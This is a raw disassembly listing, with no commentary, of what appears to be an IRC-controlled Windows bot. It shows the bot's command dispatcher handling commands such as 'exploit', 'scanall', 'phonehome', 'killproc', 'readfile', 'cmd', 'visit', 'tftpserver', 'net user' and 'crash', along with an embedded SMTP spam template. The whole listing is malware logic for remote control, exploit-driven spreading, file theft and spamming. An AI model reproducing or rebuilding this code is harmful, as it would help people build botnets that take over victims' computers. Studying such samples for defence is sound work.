lea eax, [ebp+var_D84]
push eax
call sub_4184C0
push [ebp+arg_10]
lea eax, [ebp+var_B7C]
push eax
call sub_4184C0
push offset asc_439DFC ; " "
push offset a_ ; "_"
push [ebp+esi+var_7C]
call sub_411AB7
push eax
lea eax, [ebp+var_3E4]
push eax
call sub_4184C0
add esp, 30h
lea eax, [ebp+var_6DC]
push eax
push 101h
call dword_4452B8
lea eax, [ebp+var_4E4]
push eax
call dword_4453CC
push 6
push 1
push 2
mov edi, eax
call dword_4453C8
push [ebp+arg_0]
mov esi, eax
mov [ebp+var_D8], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_D4], eax
call dword_445348
mov [ebp+var_D6], ax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_D84]
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_B7C]
push eax
lea eax, [ebp+var_D84]
push eax
lea eax, [ebp+var_1584]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4171D0
add esp, 1Ch
lea eax, [ebp+var_D8]
push 10h
push eax
push esi
call dword_4452F0
mov edi, 100h
push ebx
lea eax, [ebp+var_C80]
push edi
push eax
push esi
call dword_445360
lea eax, [ebp+var_C80]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_1584]
push eax
push esi
call dword_445398
push ebx
lea eax, [ebp+var_C80]
push edi
push eax
push esi
call dword_445360
push esi
call dword_4453E0
call dword_4452A0
lea eax, [ebp+var_B7C]
push eax
push offset unk_439E50
loc_404E00: ; CODE XREF: sub_403038+4F62j
; sub_403038+50DAj
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
loc_404E0F: ; CODE XREF: sub_403038+2AC0j
; sub_403038+2DDEj ...
cmp [ebp+var_8], ebx
jnz short loc_404E30
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_404E30: ; CODE XREF: sub_403038+1DDAj
; sub_403038+297Cj ...
lea eax, [ebp+var_2E4]
push eax
call sub_410557
pop ecx
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_404E42: ; CODE XREF: sub_403038+1864j
push edi
push offset aGetclip ; "getclip"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40693A
push edi
push offset aGc ; "gc"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40693A
push edi
push offset aFlusharp ; "flusharp"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40690F
push edi
push offset aFarp ; "farp"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40690F
push edi
push offset aFlushdns ; "flushdns"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4068EB
push edi
push offset aFdns ; "fdns"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4068EB
push edi
push offset aCurrentip ; "currentip"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4068AE
push edi
push offset aCip ; "cip"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4068AE
push edi
push offset aRloginserver ; "rloginserver"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406776
push edi
push offset aRlogin ; "rlogin"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406776
push edi
push offset aHttpserver ; "httpserver"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406600
push edi
push offset aHttp ; "http"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406600
push edi
push offset aTftpserver ; "tftpserver"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4064C9
push edi
push offset aTftp ; "tftp"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4064C9
push edi
push offset aCrash ; "crash"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_404FCE
lea eax, [ebp+var_2E4]
push offset dword_438B40
push eax
call sub_4171D0
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_404FAD
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_404FAD: ; CODE XREF: sub_403038+1F57j
lea eax, [ebp+var_2E4]
push eax
call sub_410557
mov [esp+10h+var_10], offset aCrash_0 ; "crash"
push [ebp+esi+var_7C]
call sub_417870
jmp loc_40871B
; ---------------------------------------------------------------------------
loc_404FCE: ; CODE XREF: sub_403038+1F3Fj
push edi
push offset aScanall ; "scanall"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4061C8
push edi
push offset aSa ; "sa"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4061C8
push edi
push offset aPhonehome ; "phonehome"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_405025
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_4013FF
loc_40501D: ; CODE XREF: sub_403038+46Fj
add esp, 0Ch
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_405025: ; CODE XREF: sub_403038+1FCFj
push edi
push offset aExploit ; "exploit"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_40515B
mov eax, [ebp+var_4]
mov edi, 80h
mov [ebp+var_3F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_3EC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_400], eax
push offset aRpmxp_0 ; "#RpmXp"
lea eax, [ebp+var_480]
push edi
push eax
mov [ebp+var_3F8], 1
call sub_4172D0
push offset aRpmxp_0 ; "#RpmXp"
lea eax, [ebp+var_500]
push edi
push eax
call sub_4172D0
push [ebp+esi+var_8C]
lea eax, [ebp+var_510]
push 10h
push eax
call sub_4172D0
lea eax, [ebp+var_510]
push eax
lea eax, [ebp+var_2E4]
push offset unk_438CDC
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 8
push eax
call sub_408E53
add esp, 3Ch
mov [ebp+var_3F4], eax
lea eax, [ebp+arg_24]
push eax
lea eax, [ebp+var_510]
push ebx
push eax
push offset word_4095A6
push ebx
push ebx
call near ptr 26A08FFh
nop
mov ecx, [ebp+var_3F4]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_40510E
loc_4050FC: ; CODE XREF: sub_403038+20D4j
cmp [ebp+var_3E8], ebx
jnz short loc_405129
push 32h
nop
call near ptr 2690599h
jmp short loc_4050FC
; ---------------------------------------------------------------------------
loc_40510E: ; CODE XREF: sub_403038+20C2j
nop
call near ptr 26908EFh
push eax
push offset unk_438D0C
loc_40511A: ; CODE XREF: sub_403038+2FBDj
; sub_403038+43D6j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
loc_405129: ; CODE XREF: sub_403038+20CAj
; sub_403038+464Fj ...
cmp [ebp+var_8], ebx
jnz short loc_40514A
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_405142: ; CODE XREF: sub_403038+4EC9j
call sub_401445
add esp, 14h
loc_40514A: ; CODE XREF: sub_403038+20F4j
; sub_403038+2CDEj ...
lea eax, [ebp+var_2E4]
push eax
call sub_410557
jmp loc_40871C
; ---------------------------------------------------------------------------
loc_40515B: ; CODE XREF: sub_403038+1FFCj
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406185
push edi
push offset aRin ; "rin"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406185
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40613C
push edi
push offset aRinms ; "rinms"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40613C
push edi
push offset aNick_0 ; "nick"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40611C
push edi
push offset aN ; "n"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40611C
push edi
push offset aJoin ; "join"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4060F5
push edi
push offset aJ ; "j"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4060F5
push edi
push offset aPart_1 ; "part"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4060D5
push edi
push offset aPt ; "pt"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4060D5
push edi
push offset aRaw ; "raw"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406098
push edi
push offset aR_1 ; "r"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_406098
push edi
push offset aKillthread ; "killthread"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405FCF
push edi
push offset aK ; "k"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405FCF
push edi
push offset aC_quit ; "c_quit"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405F1D
push edi
push offset aC_q ; "c_q"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405F1D
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405EBF
push edi
push offset aC_rn ; "c_rn"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405EBF
push edi
push offset aPrefix ; "prefix"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405EA3
push edi
push offset aPr ; "pr"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405EA3
push edi
push offset aOpen ; "open"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405E72
push edi
push offset aO ; "o"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405E72
push edi
push offset aServer ; "server"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405E46
push edi
push offset aSe ; "se"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405E46
push edi
push offset aDns ; "dns"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405DD7
push edi
push offset aDn ; "dn"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405DD7
push edi
push offset aKillproc ; "killproc"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405DA4
push edi
push offset aKp ; "kp"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405DA4
push edi
push offset aKill ; "kill"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405D75
push edi
push offset aKi ; "ki"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405D75
push edi
push offset aDelete ; "delete"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405D37
push edi
push offset aDel ; "del"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405D37
push edi
push offset dword_4391F0
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405C50
push edi
push offset dword_4391F4
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405C50
push edi
push offset aList ; "list"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405C2E
push edi
push offset aLi ; "li"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405C2E
push edi
push offset aMirccmd ; "mirccmd"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405BED
push edi
push offset aMirc ; "mirc"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405BED
push edi
push offset aVisit ; "visit"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405B08
push edi
push offset aV ; "v"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405B08
push edi
push offset aCmd ; "cmd"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405AA9
push edi
push offset aCm ; "cm"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405AA9
push edi
push offset aReadfile ; "readfile"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405A18
push edi
push offset aRf ; "rf"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_405A18
push edi
push offset aIdent ; "ident"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4055DD
mov esi, [ebp+esi+var_8C]
push esi
push offset aOn ; "on"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_405597
push 2
call sub_40909B
test eax, eax
pop ecx
jle short loc_40553A
push offset dword_4393E8
jmp loc_4055CA
; ---------------------------------------------------------------------------
loc_40553A: ; CODE XREF: sub_403038+24F6j
lea eax, [ebp+var_2E4]
push offset dword_439408
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 2
push eax
call sub_408E53
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_40EA18
push ebx
push ebx
call near ptr 26A08FFh
nop
imul esi, 234h
cmp eax, ebx
mov dword_446224[esi], eax
jnz loc_4072D4
nop
call near ptr 26908EFh
push eax
push offset dword_439434
jmp loc_4072C5
; ---------------------------------------------------------------------------
loc_405597: ; CODE XREF: sub_403038+24EAj
push esi
push offset aOff ; "off"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4072D4
push ebx
push 2
call sub_40904E
pop ecx
cmp eax, ebx
pop ecx
jle short loc_4055C5
push eax
push offset dword_43946C
jmp loc_4072C5
; ---------------------------------------------------------------------------
loc_4055C5: ; CODE XREF: sub_403038+2580j
push offset dword_4394A4
loc_4055CA: ; CODE XREF: sub_403038+24FDj
; sub_403038+34A2j
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
pop ecx
pop ecx
jmp loc_4072D4
; ---------------------------------------------------------------------------
loc_4055DD: ; CODE XREF: sub_403038+24CEj
push edi
push offset aNet ; "net"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_405907
cmp dword_445418, ebx
jz short loc_40560C
cmp dword_445440, ebx
jz short loc_40560C
push offset unk_439640
jmp loc_4058C1
; ---------------------------------------------------------------------------
loc_40560C: ; CODE XREF: sub_403038+25C0j
; sub_403038+25C8j
cmp [ebp+var_C], ebx
jz loc_4058CF
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_405631
push edi
push [ebp+var_C]
call sub_417B50
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405631: ; CODE XREF: sub_403038+25E9j
mov eax, [ebp+esi+var_8C]
push eax
push offset aStart ; "start"
mov [ebp+arg_10], eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4056A0
cmp edi, ebx
jz short loc_405674
push [ebp+arg_0]
push 3
call sub_41243B
push eax
push offset aS_2 ; "%s"
loc_405660: ; CODE XREF: sub_403038+268Bj
; sub_403038+26B0j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 14h
jmp loc_4058CF
; ---------------------------------------------------------------------------
loc_405674: ; CODE XREF: sub_403038+2616j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4126E2
add esp, 0Ch
test eax, eax
jz short loc_405696
push offset unk_4394D4
jmp loc_4058C1
; ---------------------------------------------------------------------------
loc_405696: ; CODE XREF: sub_403038+2652j
push offset unk_4394F8
jmp loc_4058C1
; ---------------------------------------------------------------------------
loc_4056A0: ; CODE XREF: sub_403038+2612j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4056C5
push [ebp+arg_0]
push 4
call sub_41243B
push eax
push offset aS_3 ; "%s"
jmp short loc_405660
; ---------------------------------------------------------------------------
loc_4056C5: ; CODE XREF: sub_403038+2679j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4056ED
push [ebp+arg_0]
push 5
call sub_41243B
push eax
push offset aS_4 ; "%s"
jmp loc_405660
; ---------------------------------------------------------------------------
loc_4056ED: ; CODE XREF: sub_403038+269Ej
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_405715
push [ebp+arg_0]
push 6
call sub_41243B
push eax
push offset aS_5 ; "%s"
jmp loc_405660
; ---------------------------------------------------------------------------
loc_405715: ; CODE XREF: sub_403038+26C6j
push [ebp+arg_10]
push offset aDelete_0 ; "delete"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40573D
push [ebp+arg_0]
push 1
call sub_41243B
push eax
push offset aS_6 ; "%s"
jmp loc_405660
; ---------------------------------------------------------------------------
loc_40573D: ; CODE XREF: sub_403038+26EEj
push [ebp+arg_10]
push offset aShare ; "share"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4057C2
cmp edi, ebx
jz short loc_405795
cmp [ebp+var_998], bl
jz short loc_40576D
push ebx
push edi
push 1
call sub_41281F
push eax
push offset aS_7 ; "%s"
jmp short loc_405781
; ---------------------------------------------------------------------------
loc_40576D: ; CODE XREF: sub_403038+2722j
push [ebp+esi+var_84]
push edi
push ebx
call sub_41281F
push eax
push offset aS_8 ; "%s"
loc_405781: ; CODE XREF: sub_403038+2733j
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 18h
jmp loc_4058CF
; ---------------------------------------------------------------------------
loc_405795: ; CODE XREF: sub_403038+271Aj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_412A14
add esp, 10h
test eax, eax
jz short loc_4057B8
push offset unk_43955C
jmp loc_4058C1
; ---------------------------------------------------------------------------
loc_4057B8: ; CODE XREF: sub_403038+2774j
push offset unk_439580
jmp loc_4058C1
; ---------------------------------------------------------------------------
loc_4057C2: ; CODE XREF: sub_403038+2716j
push [ebp+arg_10]
push offset aUser ; "user"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_405873
cmp edi, ebx
jz short loc_40584C
cmp [ebp+var_998], bl
jz short loc_405802
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push edi
push 1
call sub_412B35
push eax
push offset aS_9 ; "%s"
jmp short loc_405838
; ---------------------------------------------------------------------------
loc_405802: ; CODE XREF: sub_403038+27ABj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_405829
push esi
push edi
push ebx
call sub_412B35
push eax
push offset aS_10 ; "%s"
jmp short loc_405838
; ---------------------------------------------------------------------------
loc_405829: ; CODE XREF: sub_403038+27DFj
push ebx
push edi
push 2
call sub_412B35
push eax
push offset aS_11 ; "%s"
loc_405838: ; CODE XREF: sub_403038+27C8j
; sub_403038+27EFj
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 24h
jmp loc_4058CF
; ---------------------------------------------------------------------------
loc_40584C: ; CODE XREF: sub_403038+27A3j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_413049
add esp, 10h
test eax, eax
jz short loc_40586C
push offset unk_4395B4
jmp short loc_4058C1
; ---------------------------------------------------------------------------
loc_40586C: ; CODE XREF: sub_403038+282Bj
push offset unk_4395D4
jmp short loc_4058C1
; ---------------------------------------------------------------------------
loc_405873: ; CODE XREF: sub_403038+279Bj
push [ebp+arg_10]
push offset aSend_2 ; "send"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4058BC
cmp edi, ebx
jz short loc_4058B5
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4132FD
push eax
lea eax, [ebp+var_2E4]
push offset aS_12 ; "%s"
push eax
call sub_4171D0
add esp, 1Ch
jmp short loc_4058CF
; ---------------------------------------------------------------------------
loc_4058B5: ; CODE XREF: sub_403038+2850j
push offset unk_439600
jmp short loc_4058C1
; ---------------------------------------------------------------------------
loc_4058BC: ; CODE XREF: sub_403038+284Cj
push offset unk_439624
loc_4058C1: ; CODE XREF: sub_403038+25CFj
; sub_403038+2659j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
pop ecx
pop ecx
loc_4058CF: ; CODE XREF: sub_403038+25D7j
; sub_403038+2637j ...
cmp [ebp+var_8], ebx
jnz short loc_4058F0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_4058F0: ; CODE XREF: sub_403038+289Aj
; sub_403038+2A61j ...
mov esi, [ebp+arg_24]
loc_4058F3: ; CODE XREF: sub_403038+91Ej
lea eax, [ebp+var_2E4]
push eax
call sub_410557
pop ecx
mov eax, esi
jmp loc_4034D7
; ---------------------------------------------------------------------------
loc_405907: ; CODE XREF: sub_403038+25B4j
push edi
push offset aGethost ; "gethost"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40592D
push edi
push offset aGh ; "gh"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_404928
loc_40592D: ; CODE XREF: sub_403038+28DEj
mov edi, [ebp+esi+var_8C]
push edi
push [ebp+arg_1C]
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz loc_40858F
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_4059D1
push esi
push [ebp+var_C]
call sub_417B50
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4059B9
push esi
lea eax, [ebp+var_2E4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_4171D0
lea eax, [ebp+var_2E4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_417770
push esi
push edi
lea eax, [ebp+var_2E4]
push offset unk_439694
push eax
call sub_4171D0
add esp, 34h
inc [ebp+arg_24]
jmp loc_404E30
; ---------------------------------------------------------------------------
loc_4059B9: ; CODE XREF: sub_403038+2929j
lea eax, [ebp+var_2E4]
push offset unk_4396BC
push eax
call sub_4171D0
pop ecx
pop ecx
jmp loc_404E30
; ---------------------------------------------------------------------------
loc_4059D1: ; CODE XREF: sub_403038+2918j
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_4143DD
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
push edi
push offset dword_4396EC
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_4172D0
add esp, 24h
jmp loc_404E30
; ---------------------------------------------------------------------------
loc_405A18: ; CODE XREF: sub_403038+24A4j
; sub_403038+24B9j
mov edi, [ebp+esi+var_8C]
push offset aR_0 ; "r"
push edi
mov [ebp+arg_10], edi
call sub_417050
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_405A9E
mov edi, 200h
push esi
lea eax, [ebp+var_2E4]
push edi
push eax
call sub_418340
add esp, 0Ch
loc_405A4B: ; CODE XREF: sub_403038+2A42j
test eax, eax
jz short loc_405A7C
push 1
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
push esi
lea eax, [ebp+var_2E4]
push edi
push eax
call sub_418340
add esp, 20h
jmp short loc_405A4B
; ---------------------------------------------------------------------------
loc_405A7C: ; CODE XREF: sub_403038+2A15j
push esi
call sub_414C60
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset unk_439394
push eax
call sub_4171D0
add esp, 10h
jmp loc_4058F0
; ---------------------------------------------------------------------------
loc_405A9E: ; CODE XREF: sub_403038+29FBj
push edi
push offset unk_4393B8
jmp loc_407220
; ---------------------------------------------------------------------------
loc_405AA9: ; CODE XREF: sub_403038+247Aj
; sub_403038+248Fj
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+esi+var_8C]
push [ebp+var_C]
call sub_417B50
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40858F
push offset asc_439338 ; "\n"
push esi
call sub_4184D0
push esi
call sub_4137CE
add esp, 0Ch
test eax, eax
jnz short loc_405AFD
push offset unk_43933C
loc_405AEA: ; CODE XREF: sub_403038+2BE7j
; sub_403038+2BF1j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
pop ecx
pop ecx
jmp loc_404E0F
; ---------------------------------------------------------------------------
loc_405AFD: ; CODE XREF: sub_403038+2AABj
push esi
push offset dword_439368
jmp loc_406E36
; ---------------------------------------------------------------------------
loc_405B08: ; CODE XREF: sub_403038+2450j
; sub_403038+2465j
mov edi, [ebp+esi+var_8C]
push 7Fh
lea eax, [ebp+var_6DC]
push edi
push eax
call sub_417770
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_405B3E
push 7Fh
lea eax, [ebp+var_65C]
push esi
push eax
call sub_417770
add esp, 0Ch
loc_405B3E: ; CODE XREF: sub_403038+2AF2j
push 7Fh
lea eax, [ebp+var_5DC]
push [ebp+var_88]
push eax
call sub_417770
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_6E0], eax
mov eax, [ebp+var_8]
mov [ebp+var_558], eax
mov eax, [ebp+var_4]
mov [ebp+var_554], eax
lea eax, [ebp+var_2E4]
push offset dword_4392D8
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 1Ch
push eax
call sub_408E53
add esp, 24h
mov [ebp+var_55C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6E0]
push ebx
push eax
push offset loc_4149B3
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_55C]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_405BDC
loc_405BC6: ; CODE XREF: sub_403038+2BA2j
cmp [ebp+var_550], ebx
jnz loc_404E30
push 32h
nop
call near ptr 2690599h
jmp short loc_405BC6
; ---------------------------------------------------------------------------
loc_405BDC: ; CODE XREF: sub_403038+2B8Cj
call near ptr 26908EFh
nop
push eax
push offset unk_4392F0
jmp loc_406E36
; ---------------------------------------------------------------------------
loc_405BED: ; CODE XREF: sub_403038+2426j
; sub_403038+243Bj
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+esi+var_8C]
push [ebp+var_C]
call sub_417B50
pop ecx
cmp eax, ebx
pop ecx
jz loc_40858F
push eax
call sub_411DDA
test eax, eax
pop ecx
jnz short loc_405C24
push offset unk_439290
jmp loc_405AEA
; ---------------------------------------------------------------------------
loc_405C24: ; CODE XREF: sub_403038+2BE0j
push offset dword_4392B0
jmp loc_405AEA
; ---------------------------------------------------------------------------
loc_405C2E: ; CODE XREF: sub_403038+23FCj
; sub_403038+2411j
mov esi, [ebp+esi+var_8C]
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push esi
call sub_40E18A
push esi
push offset dword_439268
jmp loc_408249
; ---------------------------------------------------------------------------
loc_405C50: ; CODE XREF: sub_403038+23D2j
; sub_403038+23E7j
push 14h
lea eax, [ebp+var_6F8]
push ebx
push eax
call sub_417070
push [ebp+esi+var_8C]
lea eax, [ebp+var_6E4]
push offset dword_4391F8
push eax
call sub_4171D0
mov eax, [ebp+arg_4]
mov [ebp+var_700], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_5E0]
push 80h
push eax
call sub_4172D0
mov eax, [ebp+var_4]
mov [ebp+var_558], eax
mov eax, [ebp+var_8]
mov [ebp+var_554], eax
lea eax, [ebp+var_5E0]
push eax
lea eax, [ebp+var_6E4]
push eax
lea eax, [ebp+var_2E4]
push offset unk_4391FC
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 1Ah
push eax
call sub_408E53
add esp, 40h
mov [ebp+var_55C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_700]
push ebx
push eax
push offset loc_410A7D
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_55C]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_405D26
loc_405D10: ; CODE XREF: sub_403038+2CECj
cmp [ebp+var_550], ebx
jnz loc_40514A
push 32h
nop
call near ptr 2690599h
jmp short loc_405D10
; ---------------------------------------------------------------------------
loc_405D26: ; CODE XREF: sub_403038+2CD6j
call near ptr 26908EFh
nop
push eax
push offset unk_439220
jmp loc_406B80
; ---------------------------------------------------------------------------
loc_405D37: ; CODE XREF: sub_403038+23A8j
; sub_403038+23BDj
mov esi, [ebp+esi+var_8C]
push esi
call near ptr 26A0AF2h
nop
test eax, eax
jz short loc_405D68
push esi
push offset dword_4391C8
loc_405D4F: ; CODE XREF: sub_403038+2D3Bj
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_4172D0
add esp, 10h
jmp loc_4058CF
; ---------------------------------------------------------------------------
loc_405D68: ; CODE XREF: sub_403038+2D0Fj
push offset dword_4391E4
call sub_411D15
push eax
jmp short loc_405D4F
; ---------------------------------------------------------------------------
loc_405D75: ; CODE XREF: sub_403038+237Ej
; sub_403038+2393j
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
push eax
call sub_413747
pop ecx
cmp eax, 1
pop ecx
push esi
jnz short loc_405D9A
push offset unk_439168
jmp loc_4072C5
; ---------------------------------------------------------------------------
loc_405D9A: ; CODE XREF: sub_403038+2D56j
push offset unk_43918C
jmp loc_4072C5
; ---------------------------------------------------------------------------
loc_405DA4: ; CODE XREF: sub_403038+2354j
; sub_403038+2369j
mov esi, [ebp+esi+var_8C]
push ebx
push ebx
push esi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_413426
add esp, 18h
cmp eax, 1
push esi
jnz short loc_405DCD
push offset unk_43910C
jmp loc_407220
; ---------------------------------------------------------------------------
loc_405DCD: ; CODE XREF: sub_403038+2D89j
push offset unk_43912C
jmp loc_407220
